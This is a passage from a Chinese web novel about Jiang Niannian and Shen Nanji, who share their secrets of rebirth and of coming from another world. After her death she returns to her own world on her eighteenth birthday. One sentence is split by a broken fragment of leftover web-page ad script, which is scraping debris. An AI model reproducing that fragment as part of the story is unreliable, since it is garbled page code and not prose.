“你是什么时候想起来的?”姜念念又问。她想到沈南寂之前似乎也问过,她是否想起来之类的话,没想到直到如今才再次回忆起,“也是你决定得到皇位的时候吗?” “还在前面一点。”沈南寂耐心回答,他不再纠结其他,只是说道,“那时……那时我和你说做噩梦,一开始梦见的是母妃,但后来一直都是过去的那些事。慢慢地,就全都想起来了。” 姜念念没说话,沈南寂便又接着说道:“其实我很开心,能够再次回来,或 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 者说,其实是那时的我找到的回来的办法。我以为只要回来了,曾经发生的那些事就可以被改变,只不过我没想到,回来之后你会忘记这一切。不过我发现,你和以前也不一样了,慢慢地我也就不希望你想起来。但你记得玉佩的事,而且还是那时的玉佩,我以为你在提醒我,这一切都只是我一厢情愿……” 姜念念突然就想明白了一些事,也许当初沈南寂是成功了的,只不过她不属于这个世界,所以最终也只是回到了自己的世界里。可最终又阴差阳错,让她再次返回到这里。 “那时你觉得我是恨你的,所以一直不愿意相信我,可是就算你利用我,我也不会我忘记是你救了我。你不相信我爱你,所以我只能用别的方法让你留在我身边,可你最后还是离开了我。就像现在,你又想要离开我了……” 姜念念听着他的控诉,微微勾手,示意他靠近。沈南寂见状,立马便不再说话,俯身靠近了些。 “这就是你一直隐瞒的秘密吗?”姜念念微笑着问他。 沈南寂一顿,随即点头。 姜念念笑意更甚,然后她拽着沈南寂的衣领,拉着他靠近自己,然后微微倾身过去,吻向他的唇。沈南寂怔了一下,随后才像是惊醒过来一般,更深地吻了下去。 他想起来,此刻的他们,是相爱的。 待到一吻毕,姜念念伏在沈南寂的肩上,悄声道:“那我也告诉你一个秘密,其实我来自另一个,很远很远的世界。” · 姜念念最终还是没能撑过那个冬日,她有些遗憾,居然一直都没能好好陪着他过一个生辰。 太医也曾为她诊断过,可她并没有任何病症,就好像是身体的所有器官都在自然地老去。只不过这种加速的衰老,让她经常浑身都在剧烈的疼痛。 又是一天正午醒来,姜念念发现周围并没有其他人,就连之前一直都不离左右的沈南寂也不见了踪影。她难得没觉得疼痛难忍,于是便又拿出了之前沈南寂送给她的那枚玉佩。 现在她可以确认,这就是与之前同样的一枚。 沈南寂之前说不认识,也只是骗她的。 想到沈南寂,姜念念的心中又是一阵酸涩。就在这时,突然一阵剧痛传到了她的四肢八骸,她眼前也顷刻间疼得发黑,玉佩一瞬间便脱了手,摔在了地上。姜念念听到动静,睁眼去看时,发现那玉佩一分为二,变成了一个令她无比熟悉的形状。 下一刻,她听到门被推开的声音。 也许是玉佩碎裂后,终于达成了某个条件,姜念念感觉到自己的意识在渐渐消散,但弥留之际,她听到一道熟悉的声音,在耳边低喃。 “姐姐,这次就不要忘了我了,好吗?”顿了顿,又接着道,“等着我,我会去找你的。” 一阵天旋地转,姜念念再次惊醒过来,周围的环境陌生又熟悉。 窗外的烟花仍在绽放,她拿起手机亮屏,显示时间正好是零点。 她迎来了自己的十八岁。 她起身走到窗边,窗外正在下着雪,脑海里的画面一帧帧闪过。她没有感到难过,因为就像他说的那样,他们总会再次相见。 她忽地推开窗,冷风灌进来,她抬起手,接过飘落的雪花,一片冰凉。然后她攥紧掌心,像是握住了记忆中,那双同样有些冰冷的手。